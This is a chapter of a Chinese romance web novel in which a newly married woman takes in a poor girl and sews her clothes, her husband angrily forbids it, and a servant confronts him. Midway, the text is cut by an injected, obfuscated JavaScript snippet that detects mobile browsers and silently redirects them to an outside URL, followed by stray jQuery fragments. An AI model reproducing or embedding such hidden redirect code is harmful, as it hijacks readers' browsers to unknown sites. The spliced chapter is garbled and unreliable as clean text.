29.旧识
作品:《从罪臣之女到一代大儒》 一路颠簸回到守备府,袁微识看着光秃秃的大门,依旧没有门房,没有匾额,没有狮子,门板斑驳,铜钉生锈。再想想这一日发生的种种,不由生出几分荒诞之感。
府里正经的下人还没影儿,她身边的人仍只有王姥姥和小萝卜,如今倒好,凭空又多了个什么都不懂的孩子要安顿。这守备夫人当的,竟是这般光景。
“萝卜哥哥,将军的家可真好看啊!”
袁微识回头望去,紧紧跟着自己的三妞一脸歆羡,眼睛亮亮的,显然被这“气派”的守备府深深惊艳了。
袁微识轻轻笑出声来,转身拉着三妞迈过门槛。
“以后就当这里是你家吧,不会让你饿肚子的。”
三妞的眼睛又亮了,羞涩问道:“那,那还能吃上那天的米团子吗?”
“米团子?是钱家嫂子送给你们的吗?”
“对!可好吃了!我大姑说是夫人赏的,可真香啊!我从来没吃过这么好吃的东西!就是,就是,我就吃了一点。”三妞神色有些暗淡,“大姑和娘在屋里说话,我在外面,没抢过我哥。我哥,我哥是要给妹妹吃的!不是故意不给我……”
袁微识心中微涩,用力捏了捏三妞的手承诺:“今天晚了,明天就给你做麻糍饭团吃。以后想吃,还有更好的!”
三妞腼腆地笑:“夫人真好,大姑说来了就能吃饱肚子,果然是真的,要是我娘,哥哥妹妹都能来就好了!”
听着这天真的话语,袁微识轻轻叹息。
转身踏入正房,映入眼帘的却是徐乱昨日送来的一屋子奢华——它们安静地摆满一屋,与柞木岗子形成了尖锐的对比。
袁微识站在屋子中央,只觉得胸口堵得慌,一股郁气不知从何而来,又能往哪去。
她深吸一口气,先唤王姥姥:“姥姥,给三妞收拾收拾洗个澡,再安排个住处,收拾干净,看看还缺什么日常用度,一并备上。她年纪小,多关照些。”
王姥姥应了声,打量了三妞一眼,没多说什么,只道:“老身这就去办。”便领着不知所措的三妞下去了。
暂时安置好三妞,袁微识的目光落在了虎子方才送来的那本账簿上。她走到书案前,翻开蒋月白送来的这本建造账簿。
这一看,却让她方才郁结的心情豁然开朗了不少。
这账簿记录得极其详尽!从选址勘测、土石方量计算,到所需各种石料、灰浆、木材的数量规格,再到雇佣工匠的人数和工时、伙食标准,甚至连辘轳、井盘等铁件的打造费用都一一列明,条分缕析,清晰无比。
“竟能如此细致!”袁微识瞬间对蒋月白大为改观。本以为是个漂亮纨绔,却没想到工作做的如此精致,和他的脸一样。
不过……或许他有不少幕僚吧。袁微识失笑,不管这些。
她兴致勃勃拿出纸笔,将账簿上关键的事项,分门别类抄写下来。
人工,石料,碓架,铁锉。
不行,不够直观。
她左右巡视,看到了簸箩。
一页页翻不够直观,挂在墙上一字排开不就行了吗?
她立即翻找出一盒大头针,小心翼翼搬来椅子踩上去,将尚未干透的宣纸一条条钉在墙上。
门帘透出一丝丝冷风,吹动一墙宣纸哗哗作响,墨香四溢。
她越写看越觉得有趣,思路也越发开阔。
一口井的账簿很快抄录完毕,她看着那满纸的数字和条目,感觉不过瘾,又另起一列,开始规划英烈祠的事项:牌位,香烛,日常洒扫,四时祭礼……
想了想,她又钉上一张纸,开始罗列自己想尝试的食谱,第一条就是给麻糍饭团加炸油条,然后做豆沙馅。
还有,还有要卖了钱,再去买铺子的计划……但是这个不能写在明面上!
洗完澡的小萝卜和三妞不知何时悄悄蹭了过来,看到在墙上钉了那么多字,觉得新奇又有趣。
小萝卜胆子大,也到簸箩里找出几根大头针,学着袁微识的样子,小心翼翼地在纸张下面也钉上针,防止被风吹掉。
三妞不懂字,却会缝衣服,她抄起细针,熟练地把碎步片拼在一起,试图缝一块大布出来。
袁微识一回头,看到他们认真的模样,十分莞尔。
跟文柏一样大的年纪,却十分懂事。不知祖母他们可好,家中是否缺东西?明日去镇上寻找商人换钱,顺便去看看,把抄写的论语捎过去……
想起要去看祖母,袁微识心里一阵熨帖。转眼看见小萝卜和三妞,又皱起眉头。
也不过与文柏相仿的年纪啊。袁家虽然艰难,但是至少孩子们都还在读书。
小萝卜是徐乱亲兵,将来要走行伍之路,识不识字或许不那么紧要。可三妞呢?难道就让她一辈子这样做个目不识丁的小丫鬟,将来随便配个小厮或嫁个军户,日复一地的生活吗?
想起柞木岗子里贫瘠的人家,或许这才是这里村民真正的样子。
自己既然将她带回了府里,保证了她的生活,是否也该多想一步?
袁微识只感觉自己当长姐的心态又在三妞身上生起作用来。
她看三妞身上那件依旧不合身的棉衣,左看右看不顺眼,合该做几身新的!
箱笼里,徐乱送来的这些料子,大部分华而不实,于日常穿着并不适宜,但其中也有几匹颜色素净、质地厚实的棉布和细麻。
叹了口气,她取出一匹细棉布,又找来剪刀。她的女红其实算不得好,在金陵时最多缝个香囊、绣个帕子,但基本的裁剪还是跟妈妈们学过的。
量过三妞的尺寸,开始在布上划线下剪。
夕阳西沉,风起于树梢之间。阳光逐渐挪到院子外。
院外阳光也逐渐移走,徐乱踩上了最后一丝光线。
他跨过大门,脚步急促。四日以来,他已经习惯了迎出来微笑的袁微识。
不知今日的她,又准备了什么好吃的等自己呢?
徐乱摸了摸肩膀,伤口这两日已经结痂了,但是包扎的并不舒服。他神色轻松,推开门。
满墙钉着的宣纸,上面写满了密密麻麻的字,有些飘着,有些盯死,十分不协调。
而那个小萝卜和另一个面生的小丫头,不知在他的屋子里忙活什么,十分碍眼。他迅速扫视,终于找到坐在炕沿上的袁微识。
她正低着头,手里拿着针线,膝上铺着一块布料,缝制什么东西。
徐乱轻轻皱了皱眉,走上前俯身看。这么小的尺寸——
“这是在做什么?”
袁微识吓了一跳,他什么时候进来的!
“大人回来了??我给三妞做件衣服,你看,是不是很可爱?”
她竟然又在给别人做这些东西!
徐乱心头那股无名火“噌”地一下就冒了起来,直冲天灵盖。
小萝卜机灵,最先发现气氛不对,吓得一骨碌爬起来,顺便拉了一把还懵懂的三妞,赶紧行礼。
三妞?
徐乱的目光冷冷地扫过他们,在三妞身上停顿了一瞬,想起王姥姥提过一句钱六媳妇送来个小丫头的事,阴着脸抬了抬下巴,算是回应。
但他的注
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16357529|177271||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
意力全在袁微识身上。
袁微识并没抬头看他,也没看他的伤口,而是将手中快要成形的上衣拎起来给他看:“我看三妞没件合身的衣服,正好有料子,就想着给她做一件。你看,我做衣服也挺厉害的——”
她的话还没说完,徐乱已经伸出手,把衣服接过来,团成一团塞到簸箩里。
“王姥姥!”他扬声喝道。
王姥姥应声疾步而来。
徐乱看也不看,直接将簸箩塞到她怀里:“把这些拿走。以后夫人屋里不许出现这个。听见没有!”
徐乱声音不大,屋内的空气却瞬间凝固了。
小萝卜吓得小脸煞白,紧紧贴着墙角。
袁微识脸上微微的笑意凝结,血色渐渐涌了上来。
徐乱这是在干什么?
害怕,委屈和不解涌上心头。
她做什么了?她不过是想给一个可怜的孩子做件衣服!这难道也触犯了他的逆鳞吗?
至于在这么多人面前下她的脸吗!
“徐乱!”
袁微识只觉自己脸烧的通红,又气又急又羞愤,眼泪毫无征兆流了出来。
见她落泪,徐乱一怔,那股怒火突然被冰水浇熄,变成一阵惊慌。
他张了张嘴,想说什么,却又看到旁边两个吓得瑟瑟发抖的孩子,那股烦躁之意又升腾起来。他猛地站起身,不再看袁微识泪眼婆娑的脸,转身大步离去:“我说不许就是不许!”
重重的脚步声迅速远去,直至消失。
袁微识再也忍不住,抽泣起来。
王姥姥抱着针线簸箩,看着痛哭的夫人,又看看吓得魂不附体的两个孩子,深深叹了口气,先对小萝卜和三妞低声道:“没事了,先跟我出去。”
随即又转回来,想劝慰袁微识几句,张了张口,却不知从何说起,只能干巴巴道:“夫人,您别往心里去,大人他、他只是……”
“王姥姥,你先出去吧。”袁微识伏在桌上,捂着脸,并不抬头。
“让我一个人待一会。”
王姥姥无奈,只得行礼退下,轻轻掩上了房门。
夜色逐渐弥漫开来,刺骨的寒冷笼罩住大地。
屋里袁微识的哭声渐渐低了下去,只剩下偶尔的抽噎。王姥姥站在廊下,犹豫了许久,最终还是转身,朝着前院徐乱书房的方向走去。
书房里灯火通明,地上散落着几本书卷。
徐乱阴森森坐在书桌前,抬了抬下巴:“坐吧。”
王姥姥毫不客气,立即坐在蒋月白昨日坐过的椅子上。
“大人,老奴多嘴问一句,您这到底是怎么了?您若是心里有别的想头,或是嫌夫人碍了您的事,大可直说,或是用别的法子。现在这样,可不像你的性子。徐大守备,何时这般优柔寡断,东怒西怨了?”
徐乱阴翳抬眼瞥了一眼端正的王姥姥,并不搭话。
王姥姥却并不打怵,依旧我行我素。
“还是徐大守备,觉得娶了妻子,便可以予取予求,随意揉搓?”
“我没有,姥姥可莫要血口喷人。”徐乱嘴上毫不客气。
王姥姥容长的脸上却露出一丝微笑:“你不会是怕圆房吧?难道——”
徐乱砰的一声拍桌站了起来:“姥姥!你莫要仗着你是……老人,便敢信口开河了!”
“那你在怕什么???”
徐乱却如同被戳破了的球,又愤懑坐下,扭过头去,不太想理她。
“我没有。你不懂。”
“你和夫人以前,是不是旧识?”